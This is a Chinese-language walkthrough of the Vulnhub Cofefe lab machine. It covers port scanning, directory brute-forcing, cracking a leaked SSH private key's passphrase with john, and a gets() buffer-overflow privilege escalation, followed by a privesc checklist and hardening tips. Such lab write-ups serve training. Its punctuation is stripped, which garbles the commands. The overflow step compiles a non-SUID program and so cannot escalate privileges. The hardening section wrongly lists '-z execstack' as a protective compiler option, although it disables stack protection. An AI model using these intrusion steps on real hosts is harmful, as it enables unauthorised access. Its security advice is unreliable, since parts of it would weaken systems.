Vulnhub Cofefe靶场渗透:从.ssh目录泄露到本地提权的5个关键步骤

Vulnhub Cofefe靶场渗透:从.ssh目录泄露到本地提权的5个关键步骤
Vulnhub Cofefe靶场渗透实战从SSH密钥泄露到本地提权的完整攻击链解析靶场环境与攻击路径概览Cofefe是Vulnhub平台上一台专注于SSH安全与本地提权训练的Linux靶机包含三个需要获取的flag。与常规CTF靶机不同其设计重点在于非常规端口暴露关键Web服务运行在31337端口而非80端口多层认证绕过通过.ssh目录泄露实现身份认证突破二进制漏洞利用存在可被利用的SUID程序实现权限提升典型攻击路径如下信息收集 → Web目录爆破 → .ssh密钥泄露 → SSH认证绕过 → 本地缓冲区溢出提权1. 信息收集与攻击面发现1.1 主机发现与端口扫描在NAT网络环境下使用nmap进行基础扫描nmap -sP 192.168.5.0/24 nmap -sS -p- 192.168.5.163关键发现端口服务备注22SSH常规管理端口80HTTPNginx默认页面31337HTTP隐藏Web服务入口1.2 Web目录深度探测针对31337端口使用dirb进行目录爆破dirb http://192.168.5.163:31337 /usr/share/wordlists/dirb/common.txt敏感目录发现/.ssh//robots.txt/taxes/提示在CTF环境中robots.txt和.ssh目录往往是突破口的第一选择2. SSH密钥利用与认证绕过2.1 密钥文件分析访问.ssh目录发现以下文件id_rsa # 私钥文件 id_rsa.pub # 公钥文件 authorized_keys # 认证密钥列表通过公钥信息确认关联用户cat id_rsa.pub # ssh-rsa AAAAB3N... simoncofefe2.2 私钥密码破解使用ssh2john转换私钥格式ssh2john id_rsa key.hash john --wordlist/usr/share/wordlists/rockyou.txt key.hash破解结果Proceeding with wordlist:/usr/share/wordlists/rockyou.txt starwars (id_rsa)2.3 SSH会话建立设置私钥权限并连接chmod 600 id_rsa ssh -i id_rsa simon192.168.5.163连接后检查whoami # simon id # uid1000(simon) gid1000(simon) groups1000(simon)3. 本地提权技术深度剖析3.1 敏感文件发现在用户目录发现可疑C程序find / -user simon -type f 2/dev/null /home/simon/read_message.c分析程序漏洞特征#include stdio.h #include string.h int main() { char buf[20]; printf(Enter your message: ); gets(buf); // 危险函数无边界检查 if(strncmp(buf, simon, 5) 0) { printf(Hello %s\n, buf); } else { printf(Access denied\n); } return 0; }3.2 缓冲区溢出利用漏洞利用要点前5字符需匹配simonbuf数组仅20字节空间gets()函数无长度限制构造payloadpython -c print simon A*15 \xef\xbe\xad\xde提权操作gcc -o read_message read_message.c ./read_message payload注意实际exploit需根据内存地址调整此处为概念演示4. 攻击链强化与替代方案4.1 当私钥加密时的备选方案若ssh私钥有密码保护且无法破解检查Web应用的其他漏洞如文件包含、RCE尝试其他服务端口如FTP、SMB利用Cron Jobs或SUID程序提权4.2 多维度提权检查清单SUID检查find / -perm -4000 -type f 2/dev/nullCron Jobs检查cat /etc/crontab ls -la /etc/cron.*内核漏洞检查uname -a searchsploit linux kernel 3.13.05. 防御措施与安全建议5.1 SSH安全加固禁用密码认证仅允许密钥登录限制.ssh目录权限700使用强密码保护私钥文件5.2 系统防护方案# 禁用危险函数 echo kernel.exec-shield 1 /etc/sysctl.conf # 限制SUID程序 chmod u-s /path/to/program # 启用ASLR echo 2 /proc/sys/kernel/randomize_va_space5.3 开发安全规范使用fgets替代gets等危险函数编译时添加安全选项gcc -fstack-protector -z execstack -o program program.c通过本靶场实战可见一个看似简单的.ssh目录泄露可能引发完整的权限沦陷链。在真实环境中建议定期进行敏感文件权限审计冗余服务清理安全开发培训渗透测试演练